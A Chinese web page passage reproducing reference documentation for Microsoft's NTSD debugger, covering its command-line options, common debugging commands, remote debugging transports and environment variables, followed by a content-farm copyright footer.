打开一个用于调试字符模式的应用程序的新窗口-d 将输出重定向到调试终端-g 使执行自动通过第一个断点-G 使 NTSD 在子程序终止时立即退出o 启用多个进程的调试,默认值为由调试程序衍生的一个进程-p 指定调试由进程 ID 标识的进程-v 产生详细的输出例如,假设 inetinfo.exe 的进程 ID 为 104。键入以下命令将 NTSD 调试程序连接到 inetinfo 进程 (IIS)。NTSD -p 104也可使用 NTSD 启动一个新进程来进行调试。例如,NTSD notepad.exe 将启动一个新的 notepad.exe 进程,并与它建立连接。一旦连接到某个进程,您就可以用各种命令来查看堆栈、设置断点、转储内存,等等。表 2. 常用命令命令 含义~ 显示所有线程的一个列表KB 显示当前线程的堆栈轨迹~*KB 显示所有线程的堆栈轨迹R 显示当前帧的寄存器输出U 反汇编代码并显示过程名和偏移量D[type][&range&] 转储内存BP[#] &address& 设置断点BC[&bp&] 清除一个或多个断点BD[&bp&] 禁用一个或多个断点BE[&bp&] 启用一个或多个断点BL[&bp&] 列出一个或多个断点关于远程调试的更多信息,请参考下述文章: 如何启用远程安装服务器的“调试”模式,请参考下述文章:/kb/236033/zh-cn--------------------------------------------------------------------------------NTSD用法:usage: ntsd [-?] [-2] [-d] [-g] [-G] [-myob] [-lines] [-n] [-o] [-s] [-v] [-w][-r BreakErrorLevel] [-t PrintErrorLevel][-hd] [-pd] [-pe] [-pt #] [-pv] [-x | -x{e|d|n|i} &event&][-- | -p pid | -pn name | command-line | -z CrashDmpFile][-zp CrashPageFile] [-premote transport] [-robp][-aDllName] [-c "command"] [-i ImagePath] [-y SymbolsPath][-clines #] [-srcpath SourcePath] [-QR \\machine] [-wake &pid&][-remote transport:server=name,portid] [-server transport:portid][-ses] [-sfce] [-sicv] [-snul] [-noio] [-failinc] [-noshell]where: -? displays this help textcommand-line is the command to run under the debugger-- is the same as -G -g -o -p -1 -d -pd-aDllName sets the default extension DLL-c executes the following debugger command-clines number of lines of output history retrieved by a remote client -failinc causes incomplete symbol and module loads to fail-d sends all debugger output to kernel debugger via DbgPrint-d cannot be used with debugger remoting-d can only be used when the kernel debugger is enabled-g ignores initial breakpoint in debuggee-G ignores final breakpoint at process termination-hd specifies that the debug heap should not be usedfor created processes. This only works on Windows Whistler. -o debugs all processes launched by debuggee-p pid specifies the decimal process Id to attach to-pd specifies that the debugger should automatically detach-pe specifies that any attach should be to an existing debug port -pn name specifies the name of the process to attach to-pt # specifies the interrupt timeout-pv specifies that any attach should be noninvasive-r specifies the (0-3) error level to break on (SeeSetErrorLevel) -robp allows breakpoints to be set in read-only memory-t specifies the (0-3) error level to display (SeeSetErrorLevel) -w specifies to debug 16 bit applications in a separate VDM-x sets second-chance break on AV exceptions-x{e|d|n|i} &event& sets the break status for the specified event -2 creates a separate console window for debuggee-i ImagePath specifies the location of the executables that generated the fault (see _NT_EXECUTABLE_IMAGE_PATH)-lines requests that line number information be used if present -myob ignores version mismatches in DBGHELP.DLL-n enables verbose output from symbol handler-noio disables all I/O for dedicated remoting servers-noshell disables the .shell (!!) command-QR &\\machine& queries for remote servers-s disables lazy symbol loading-ses enables strict symbol loading-sfce fails critical errors encountered during file searching-sicv ignores the CV record when symbol loading-snul disables automatic symbol loading for unqualified names-srcpath &SourcePath& specifies the source search path-v enables verbose output from debugger-wake &pid& wakes up a sleeping debugger and exits-y &SymbolsPath& specifies the symbol search path (see _NT_SYMBOL_PATH) -z &CrashDmpFile& specifies the name of a crash dump file to debug -zp &CrashPageFile& specifies the name of a page.dmp fileto use with a crash dump-remote lets you connect to a debugger session started with -server must be the first argument if presenttransport: tcp | npipe | ssl | spipe | 1394 | comname: machine name on which the debug server was created portid: id of the port the debugger server was created on for tcp use: port=&socket port #&for npipe use: pipe=&name of pipe&for 1394 use: channel=&channel #&for com use: port=&COM port&,baud=&baud rate&,channel=&channel #&for ssl and spipe see the documentationexample: ... -remote npipe:server=yourmachine,pipe=foobar -server creates a debugger session other people can connect to must be the first argument if presenttransport: tcp | npipe | ssl | spipe | 1394 | comportid: id of the port remote users can connect tofor tcp use: port=&socket port #&for npipe use: pipe=&name of pipe&for 1394 use: channel=&channel #&for com use: port=&COM port&,baud=&baud rate&,channel=&channel #&for ssl and spipe see the documentationexample: ... -server npipe:pipe=foobar-premote transport specifies the process server to connect totransport arguments are given as with remotingEnvironment Variables:_NT_SYMBOL_PATH=[Drive:][Path]Specify symbol image path._NT_ALT_SYMBOL_PATH=[Drive:][Path]Specify an alternate symbol image path._NT_DEBUGGER_EXTENSION_PATH=[Drive:][Path]Specify a path which should be searched first for extensions dlls_NT_EXECUTABLE_IMAGE_PATH=[Drive:][Path]Specify executable image path._NT_SOURCE_PATH=[Drive:][Path]Specify source file path._NT_DEBUG_LOG_FILE_OPEN=filenameIf specified, all output will be written to this file from offset 0._NT_DEBUG_LOG_FILE_APPEND=filenameIf specified, all output will be APPENDed to this file._NT_DEBUG_HISTORY_SIZE=sizeSpecifies the size of a server's output history in kilobytesControl Keys:&Ctrl-B&&Enter& Quit debugger&Ctrl-C& Break into Target&Ctrl-F&&Enter& Force a break into debuggee (same as Ctrl-C)&Ctrl-P&&Enter& Debug Current debugger&Ctrl-V&&Enter& Toggle Verbose mode&Ctrl-W&&Enter& Print version informationntsd: exiting - press enter ---
上一篇文章:
下一篇文章:
本文标题:[ftp命令详解]MacPorts命令详解&版权说明
文章标题: 文章地址:
1、《[ftp命令详解]MacPorts命令详解》一文由262阅读网()网友提供,版权归原作者本人所有,转载请注明出处!
2、转载或引用本网内容必须是以新闻性或资料性公共免费信息为使用目的的合理、善意引用,不得对本网内容原意进行曲解、修改,同时必须保留本网注明的"稿件来源",并自负版权等法律责任。
3、对于不当转载或引用本网内容而引起的民事纷争、行政处理或其他损失,本网不承担责任。

我要回帖

更多关于 mac ports 的文章

 

随机推荐